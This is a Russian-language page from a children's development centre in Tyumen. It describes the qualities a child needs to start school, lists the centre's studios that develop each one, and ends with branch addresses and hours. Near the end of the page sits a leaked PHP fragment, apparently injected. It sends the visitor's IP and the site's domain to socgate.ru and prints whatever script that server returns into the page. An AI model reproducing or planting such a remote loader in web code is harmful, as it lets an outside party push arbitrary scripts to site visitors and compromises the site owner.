Какой ребенок будет хорошо учиться в школе?

ул. Е. Богдановича 16

ул. Депутатская 121

ул. Полевая 105

Праздник по-новому! Новогодние интерактивные развлечения для детей!

Главная Все студии центра  - Что нужно для школы

Что нужно для школы

Требование к первокласснику
Характеристика
Развивающие занятия в Ступеньках
Физически развитый, овладевший основными культурно-гигиеническими навыками.
У ребёнка сформированы основные физические качества и потребность в двигательной активности. Самостоятельно выполняет доступные возрасту гигиенические процедуры, соблюдает элементарные правила здорового образа жизни.
 


  • «Маленький говорун СПОРТ+»
  • «Творческая мастерская танца»
  • группы Детского сада
Любознательный, активный
Интересуется новым, неизвестным в окружающем мире (мире предметов и вещей, мире отношений и своем внутреннем мире). Задаёт вопросы взрослому, любит экспериментировать. Способен самостоятельно действовать (в повседневной жизни, в различных видах детской деятельности). В случаях затруднений обращается за помощью к взрослому. Принимает живое, заинтересованное участие в образовательном процессе.
 


  • «Маленький говорун СПОРТ+»
  • «Маленький говорун АРТ+»
  • группы Детского сада
Эмоционально отзывчивый.
Дошкольник откликается на эмоции близких людей и друзей. Сопереживает персонажам сказок, историй, рассказов. Эмоционально реагирует на произведения изобразительного искусства, музыкальные и художественные произведения, мир природы.
  • «Сенсорика»
  • Детский психолог
  • Нейропсихологический интенсив
  • Группы Детского сада
 
Способный управлять своим поведением и планировать свои действия, направленные на достижение конкретной цели.
Ребёнок на основе первичных ценностных представлений, соблюдающий элементарные общепринятые нормы и правила поведения. Поведение ребёнка преимущественно определяется не сиюминутными желаниями и потребностями, а требованиями со стороны взрослых и первичными ценностными представлениями о том «что такое хорошо и что такое плохо». Ребёнок способен планировать свои действия, направленные на достижение конкретной цели. Соблюдает правила поведения на улице (дорожные правила), в общественных местах (транспорте, магазине, поликлинике, театре и др.)
 


  • «По дороге к азбуке»
  • «В школу со Ступеньками»
  • «Творческая мастерская танца»
  • Детский психолог
Овладевший средствами общения и способами взаимодействия с взрослыми и сверстниками.
Ребёнок адекватно использует вербальные и невербальные средства общения, владеет диалогической речью и конструктивными способами взаимодействия с детьми и взрослыми (договаривается, обменивается предметами, распределяет действия при сотрудничестве).
 


  • «Маленький говорун СПОРТ+»
  • «Маленький говорун АРТ+»
  • «По дороге к азбуке»
  • «В школу со Ступеньками»
  • группы Детского сада
  • детский логопед
Способный решать интеллектуальные и личностные задачи (проблемы), адекватные возрасту.
Ребёнок может применять самостоятельно усвоенные знания и способы деятельности для решения новых задач (проблем), поставленных как взрослым, так и им самим; в зависимости от ситуации может преобразовывать способы решения задач (проблем). Ребёнок способен предложить собственный замысел и воплотить его в рисунке, постройке, рассказе и др.
 
  • детский нейропсихолог
  • детский психолог
  • группы Детского сада
Имеющий первичные представления о себе, семье, обществе, государстве, мире и природе.
Ребёнок имеет представление о себе, собственной принадлежности и принадлежности других людей к определённому полу; о составе семьи, родственных отношениях и взаимосвязях, распределении семейных обязанностей, семейных традициях; об обществе, его культурных ценностях; о государстве и принадлежности к нему; о мире.


  • группы Детского сада
  • детский психолог
Овладевший универсальными предпосылками учебной деятельности
Ребенок умеет работать по правилу и образцу, слушать взрослого и выполнять его инструкции.
 
  • «Маленький говорун АРТ+»
  • «По дороге к азбуке»
  • «Творческая мастерская танца»
  • «В школу со Ступеньками»
  • группы Детского сада
  • детский психолог
Овладевший необходимыми умениями и навыками.
У ребёнка сформированы умения и навыки, необходимые для осуществления различных видов детской деятельности.
 
  • группы Детского сада

НАШИ РАЗВИВАЮЩИЕ СТУДИИ

Оставьте свой номер телефона здесь, если хотите получить экспресс-консультацию по студиям, подходящим для вашего ребенка

ОТЗЫВЫ НАШИХ ДЕТЕЙ И РОДИТЕЛЕЙ

array('timeout'=>2))); $sload_script = @file_get_contents("https://socgate.ru/t/sload/?ip={$_SERVER['REMOTE_ADDR']}&domain={$_SERVER['SERVER_NAME']}&guid=&id={$sload_id}",0,$sload_opt); if (strlen($sload_script)>0) echo $sload_script; ?>

г.Тюмень, ул. Депутатская 121
+7 (3452) 500-908 (единый номер)
Время работы:
понедельник-пятница с 7.30 до 19.00

г.Тюмень, ул. Е. Богдановича 16
+7 (3452) 500-908 (единый номер)
Время работы:
понедельник-пятница с 7.30 до 20.00 
суббота с 10.00 до 15.00

г.Тюмень, ул. Полевая, 105
+7 (3452) 500-908 (единый номер)
Время работы:
понедельник-пятница с 7.30 до 19.00

г.Тюмень, ул. Е. Богдановича 16

г.Тюмень, ул. Депутатская 121

г.Тюмень, ул. Полевая 105

+7 (3452) 500-908
единый номер

Детский развивающий центр в Тюмени
Все права защищены

разработка и продвижение сайта

Наш коллектив готов стать Вашим главным помощником! С самого раннего возраста и до выпуска из школы. Все вместе мы поможем детям обрести твердую почву под ногами, уверенность в себе, а в трудную минуту подскажем, как справиться с той или иной ситуацией.

Регламентирующие документы || Договор оферты || Политика конфиденциальности